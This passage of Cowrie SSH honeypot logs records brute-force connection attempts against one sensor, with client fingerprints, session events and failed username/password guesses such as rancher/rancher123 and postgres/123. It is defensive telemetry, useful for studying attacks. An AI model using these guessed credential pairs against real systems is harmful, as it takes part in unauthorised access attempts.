sh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:10.475645Z","src_ip":"91.92.40.171","session":"1003c74a2c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:10.757302Z","src_ip":"103.82.20.28","session":"2a8db1af8ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:11.263382Z","src_ip":"91.92.40.171","session":"1003c74a2c86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:12.659853Z","src_ip":"91.92.40.171","session":"1003c74a2c86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":41002,"dst_ip":"159.203.135.109","dst_port":22,"session":"632c03529568","protocol":"ssh","message":"New connection: 91.92.42.133:41002 (159.203.135.109:22) [session: 632c03529568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:12.745690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:12.901885Z","src_ip":"91.92.42.133","session":"632c03529568","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:12.904898Z","src_ip":"91.92.42.133","session":"632c03529568","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prem","password":"12345","message":"login attempt [prem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:13.529795Z","src_ip":"91.92.42.133","session":"632c03529568","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:14.754143Z","src_ip":"91.92.42.133","session":"632c03529568","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35928,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd44ec8b08c5","protocol":"ssh","message":"New connection: 91.92.40.171:35928 (159.203.135.109:22) [session: cd44ec8b08c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:17.933031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:17.975883Z","src_ip":"91.92.40.171","session":"cd44ec8b08c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:18.537637Z","src_ip":"91.92.40.171","session":"cd44ec8b08c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53326,"dst_ip":"159.203.135.109","dst_port":22,"session":"957c2e09305f","protocol":"ssh","message":"New connection: 91.92.42.133:53326 (159.203.135.109:22) [session: 957c2e09305f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:19.977633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:20.045395Z","src_ip":"91.92.42.133","session":"957c2e09305f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:20.114286Z","src_ip":"91.92.42.133","session":"957c2e09305f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin@123","message":"login attempt [ubuntu/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:20.730681Z","src_ip":"91.92.42.133","session":"957c2e09305f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123","message":"login attempt [developer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:21.426150Z","src_ip":"91.92.40.171","session":"cd44ec8b08c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:21.991117Z","src_ip":"91.92.42.133","session":"957c2e09305f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35970,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6c538d9ed61","protocol":"ssh","message":"New connection: 91.92.40.171:35970 (159.203.135.109:22) [session: e6c538d9ed61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:23.352867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:23.388801Z","src_ip":"91.92.40.171","session":"e6c538d9ed61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:23.512922Z","src_ip":"91.92.40.171","session":"cd44ec8b08c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:24.428413Z","src_ip":"91.92.40.171","session":"e6c538d9ed61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57856,"dst_ip":"159.203.135.109","dst_port":22,"session":"90e49acf1e2c","protocol":"ssh","message":"New connection: 91.92.42.133:57856 (159.203.135.109:22) [session: 90e49acf1e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:27.087370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:27.208951Z","src_ip":"91.92.42.133","session":"90e49acf1e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:27.213471Z","src_ip":"91.92.42.133","session":"90e49acf1e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:28.225761Z","src_ip":"91.92.42.133","session":"90e49acf1e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:28.850105Z","src_ip":"91.92.40.171","session":"e6c538d9ed61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45678,"dst_ip":"159.203.135.109","dst_port":22,"session":"e171e4cc6b14","protocol":"ssh","message":"New connection: 91.92.40.171:45678 (159.203.135.109:22) [session: e171e4cc6b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:29.477833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:29.481716Z","src_ip":"91.92.40.171","session":"e171e4cc6b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:29.766064Z","src_ip":"91.92.42.133","session":"90e49acf1e2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:30.528627Z","src_ip":"91.92.40.171","session":"e171e4cc6b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":50878,"dst_ip":"159.203.135.109","dst_port":22,"session":"a345eb2c066a","protocol":"ssh","message":"New connection: 147.45.199.80:50878 (159.203.135.109:22) [session: a345eb2c066a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:30.607828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:30.612362Z","src_ip":"147.45.199.80","session":"a345eb2c066a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:30.710564Z","src_ip":"147.45.199.80","session":"a345eb2c066a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:30.855531Z","src_ip":"91.92.40.171","session":"e6c538d9ed61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nargiz","message":"login attempt [root/nargiz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:30.997635Z","src_ip":"147.45.199.80","session":"a345eb2c066a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:32.093899Z","src_ip":"147.45.199.80","session":"a345eb2c066a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":45776,"dst_ip":"159.203.135.109","dst_port":22,"session":"217578bd486b","protocol":"ssh","message":"New connection: 91.92.40.171:45776 (159.203.135.109:22) [session: 217578bd486b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:33.092116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:33.272494Z","src_ip":"91.92.40.171","session":"217578bd486b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:33.275533Z","src_ip":"91.92.40.171","session":"217578bd486b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57916,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdf374d65bb7","protocol":"ssh","message":"New connection: 91.92.42.133:57916 (159.203.135.109:22) [session: cdf374d65bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:33.453886Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:33.605975Z","src_ip":"91.92.40.171","session":"e171e4cc6b14","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:33.847407Z","src_ip":"91.92.42.133","session":"cdf374d65bb7","protocol":"ssh"}
